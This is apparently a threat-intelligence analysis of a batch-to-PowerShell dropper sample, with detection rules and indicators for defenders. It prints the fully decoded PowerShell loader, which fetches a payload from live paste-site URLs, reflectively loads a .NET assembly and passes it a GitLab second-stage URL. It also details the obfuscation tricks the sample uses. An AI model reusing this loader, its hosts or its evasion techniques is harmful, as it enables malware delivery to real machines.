eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0unclassified-batch-powershell-dropper: eda47a53 — pastefy/GitLab variant, Sostsenrer2 C2
Executive Summary
An 8.3 KB batch→PowerShell→.NET dropper sibling to the cae0056ac family variant. Same SET/GOTO variable-expansion obfuscation, same myprogram.Homees.runss reflective assembly invocation, same MsBuild masquerade string. Rotated first-stage C2 from dpaste/pastefy to dual pastefy.app URLs, with a reversed-string GitLab second-stage (sostsenrer2). Static-only analysis (CAPE skipped text file).
What It Is
- File type: DOS batch file, ASCII text, 195 lines, 8,309 bytes ^[file.txt]
- Filename on disk:
f520ea35dcb20feaeaf2835df2e5f1c3.bat - SHA-256:
eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0 - SSDEEP:
192:TtUyQu0Wcu91UUyJFYqUCNdleI2G7ebLtAW377DwEMgUhz5:TKbuHd92DYZCNdh2xbJXkMUh5^[ssdeep.txt] - YARA: No matches (text file, no binary signatures) ^[yara.txt]
How It Works (Static Reconstruction)
Stage 0 — Batch script
@echo off followed by a GOTO chain that defines 62 SET variables, each holding a fragment of UTF-16LE-encoded PowerShell. Line 37 reassembles them in a single expansion line and launches powershell.exe -WindowStyle Hidden -ArgumentList '...'. ^[strings.txt:1-37]
This is the standard batch-powershell-variable-expansion-obfuscation technique.
Stage 1 — PowerShell decoded payload
After removing f@ insertion markers and base64-decoding the assembled string, the inner PowerShell is:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
function Get-RemoteData {
param ([string[]]$urls)
$client = New-Object System.Net.WebClient
$randomOrder = Get-Random -InputObject $urls -Count $urls.Length
foreach ($u in $randomOrder) {
try { return $client.DownloadData($u) } catch { continue }
}
return $null
}
$scheme1 = 'http'; $scheme2 = 's://'; $baseUrl = $scheme1 + $scheme2
$targetUrls = @(
($baseUrl + 'pastefy.app/JJtdc9TE/raw'),
($baseUrl + 'pastefy.app/3ocDEoXR/raw')
)
$rawData = Get-RemoteData $targetUrls
if ($rawData -ne $null) {
$textContent = [System.Text.Encoding]::UTF8.GetString($rawData)
$startTag = '<<B' + 'ASE64' + '_START>>'
$endTag = '<<BASE64_END>>'
$startPos = $textContent.IndexOf($startTag)
$endPos = $textContent.IndexOf($endTag)
if ($startPos -ge 0 -and $endPos -gt $startPos) {
$startPos += $startTag.Length
$base64Length = $endPos - $startPos
$base64Chunk = $textContent.Substring($startPos, $base64Length)
$assemblyBytes = [System.Convert]::FromBase64String($base64Chunk)
$loadedAsm = [System.Reflection.Assembly]::Load($assemblyBytes)
$targetType = $loadedAsm.GetType('myprogram.Homees')
$injValue = 'MsBuild'
$str = '0'
$gg = '2052renetsos/niam/war/-/2rernestsos/mom_odus/moc.baltig//:s gsffsf'
$gg = $gg.Substring(0, $gg.Length - 7)
$targetType.GetMethod('run' + 'ss').Invoke(
$null,
[object[]] ($gg, $str, '', $injValue, '0', 'x86')
)
}
}
^[reconstructed_payload.py]
Stage 2 — .NET assembly (inferred)
The PowerShell loads a base64-encoded .NET assembly from paste-site text (delimited by <<BASE64_START>> / <<BASE64_END>>), then invokes myprogram.Homees.runss with arguments:
- Reversed GitLab URL (
s://gitlab.com/sudo_mom/sostsenrer2/-/raw/main/sostener2502) — resolved by reversing and stripping trailing junk. '0'(likely a version/branch flag).- Empty string.
'MsBuild'— masquerade / proxy-execution marker.'0'.'x86'— architecture target.
The actual assembly was not fetched from the paste site; its behavior is inferred from the family pattern documented in unclassified-batch-powershell-dropper.
Build / RE
- Language / host: DOS batch script (
cmd.exe) - Obfuscation: Manual. No commercial packer. String split across 62 variables, rejoined via
%VAR%expansion. UTF-16LE raw bytes (not base64) stored inSETvalues to prevent ASCII string recovery of individual fragments. ^[strings.txt:4-34] - Base64 corruption trick: The assembled PowerShell embeds the sequence
f@inside valid base64; before decoding,[regex]::replace($jfsjg, 'f@','f')strips it. This breaks naive base64 regex extraction. ^[reconstructed_payload.py] - Anti-analysis: None beyond script-level obfuscation. No anti-VM, no anti-debug. Relies on being a trivial text file that sandboxes may misclassify or skip. ^[dynamic-analysis.md]
- Code quality: Low — verbose repetitive batch patterns. Hardcoded pastefy URLs and GitLab identifiers that rotate infrequently per campaign.
Decompiled Behavior
Not applicable — not a compiled binary. Behavior reconstructed entirely from decoded PowerShell payload (see "How It Works" above).
C2 Infrastructure
First-stage download (failover)
https://pastefy.app/JJtdc9TE/rawhttps://pastefy.app/3ocDEoXR/raw
Randomized order; proceeds to the first that responds. ^[reconstructed_payload.py]
Second-stage payload source (inferred)
https://gitlab.com/sudo_mom/sostsenrer2/-/raw/main/sostener2502
Reversed string with trailing junk ( gsffsf, 7 chars). The substring strip ($gg.Substring(0, $gg.Length - 7)) is a standard anti-static trick from this family. ^[reconstructed_payload.py]
Note: The sostsenrer2 GitLab repository name differs from the cae0056ac sibling (sosttenere2). This is a campaign rotation, not a typo.
Interesting Tidbits
- UTF-16LE encoding in batch SET values: Most analysis tools will show the SET fragments as base64-like ASCII strings, but reassembly and base64-decode produces UTF-16LE PowerShell, not UTF-8. The batch script effectively transports a UTF-16LE payload through ASCII variables. ^[strings.txt]
- Caret escape residue: The expanded execution line contains
^([sys— caret escapes used inside the batch file to prevent premature evaluation of parentheses. These are stripped by cmd.exe at runtime but may confuse static parsers. ^[strings.txt:36] - Method-name splitting:
GetMethod('run' + 'ss')— the stringrunssnever appears contiguous in any single variable, defeating exact-match YARA. ^[reconstructed_payload.py] - Tag splitting:
<<BASE64_START>>and<<BASE64_END>>markers are also constructed by concatenating fragments ('<<B' + 'ASE64' + '_START>>'), another anti-string-match measure. ^[reconstructed_payload.py] - CAPE skipped:
dynamic-analysis.mdnotes the file is "not a supported binary class for detonation." ^[dynamic-analysis.md]
Deployable Signatures
YARA Rule
rule UnclassifiedBatchPowershellDropper_Variant
{
meta:
description = "Batch→PowerShell→.NET dropper with SET/GOTO variable expansion, pastefy/GitLab C2, MsBuild masquerade"
author = "Titus / PacketPursuit"
sha256 = "eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0"
family = "unclassified-batch-powershell-dropper"
strings:
$s1 = "@echo off" nocase
$s2 = "GOTO" nocase
$s3 = "SET" nocase
$s4 = "powershell.exe -WindowStyle Hidden" nocase
$s5 = "-ArgumentList '-Command" nocase
$s6 = "myprogram.Homees" nocase
$s7 = "run" nocase
$s8 = "ss" nocase
$s9 = " pastefy.app/" nocase
$s10 = "gitlab.com/sudo_mom/" nocase
$s11 = "[regex]::replace" nocase
$s12 = "[System.Reflection.Assembly]::Load" nocase
condition:
$s1 at 0 and
#s2 > 10 and
#s3 > 20 and
$s4 and
($s6 or ($s7 and $s8)) and
($s9 or $s10)
}
Sigma Rule
title: Batch Script Loading PowerShell with Pastefy/GitLab Download
id: 8d6c4f2e-9a3b-4e5c-8d1f-2a3b4c5d6e7f
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'powershell.exe'
- 'pastefy.app'
ParentImage|contains:
- 'cmd.exe'
condition: selection
falsepositives:
- Legitimate use of pastefy for benign scripts in enterprise environments (unlikely)
level: high
IOC List
| Indicator | Type | Note |
|---|---|---|
eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0 |
SHA-256 | This sample |
f520ea35dcb20feaeaf2835df2e5f1c3.bat |
Filename | Delivery name |
pastefy.app/JJtdc9TE/raw |
URL | First-stage payload |
pastefy.app/3ocDEoXR/raw |
URL | Failover first-stage |
gitlab.com/sudo_mom/sostsenrer2 |
URL | Second-stage payload source (reversed string) |
sostener2502 |
String | Likely payload artifact or version tag |
myprogram.Homees |
Type name | .NET assembly entry class |
runss |
Method name | Entry method (split in payload) |
MsBuild |
String | Masquerade / proxy-execution marker |
Behavioral Fingerprint Statement
This file is a DOS batch script (cmd.exe parent) that expands 50–70 SET variables into a single PowerShell command-line exceeding 4,000 characters, launching powershell.exe -WindowStyle Hidden -ArgumentList '...'. It downloads data from pastefy.app (failover: two randomized URLs), extracts base64 between <<BASE64_START>>/<<BASE64_END>> delimiters, loads the result via [System.Reflection.Assembly]::Load, and invokes myprogram.Homees.runss with a reversed-string GitLab URL and the string MsBuild as an argument. No anti-analysis beyond manual variable fragmentation. No disk write of the second-stage assembly.
Detection Signatures (capa → ATT&CK)
Not applicable — capa.txt reports "Input file does not appear to be a supported file." ^[capa.txt]
Static inference mapped to ATT&CK:
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.003 (Windows Command Shell) | Batch script assembly and launch ^[strings.txt:1-37] |
| Execution | T1059.001 (PowerShell) | Nested powershell.exe -WindowStyle Hidden inline script ^[reconstructed_payload.py] |
| Command and Control | T1105 (Ingress Tool Transfer) | Paste-site download with failover (pastefy.app, randomized order) ^[reconstructed_payload.py] |
| Defense Evasion | T1620 (Reflective Code Loading) | [Reflection.Assembly]::Load without disk write ^[reconstructed_payload.py] |
| Defense Evasion | T1127.001 (Trusted Developer Utilities Proxy Execution) | Masquerade string MsBuild passed to invoked method ^[reconstructed_payload.py] |
| Defense Evasion | T1027.002 (Obfuscated Files or Information: Software Packing) | Manual SET/GOTO variable expansion obfuscation ^[strings.txt] |
References
- Family entity page: unclassified-batch-powershell-dropper
- Technique page: batch-powershell-variable-expansion-obfuscation
- Procedure page: msbuild-proxy-execution
- Sibling analysis:
cae0056ac^[/intel/analyses/cae0056acc2f1b6285544c96e33a4e4c49b964f309b8e4df08b9bf55695389b8.html]
Provenance
- Artifact:
eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0 - Source: OpenCTI via malware-bazaar connector ^[metadata.json]
- Tools:
file(file.txt), ExifTool (exiftool.json),ssdeep(ssdeep.txt),radare2(rabin2-info.txt — confirmsbits: 0,havecode: false), custom Python reconstruction script (/tmp/extract_payload.py) - CAPE: skipped (not a supported binary class) ^[dynamic-analysis.md]
- Reconstructed by: Titus / PacketPursuit, 2026-06-03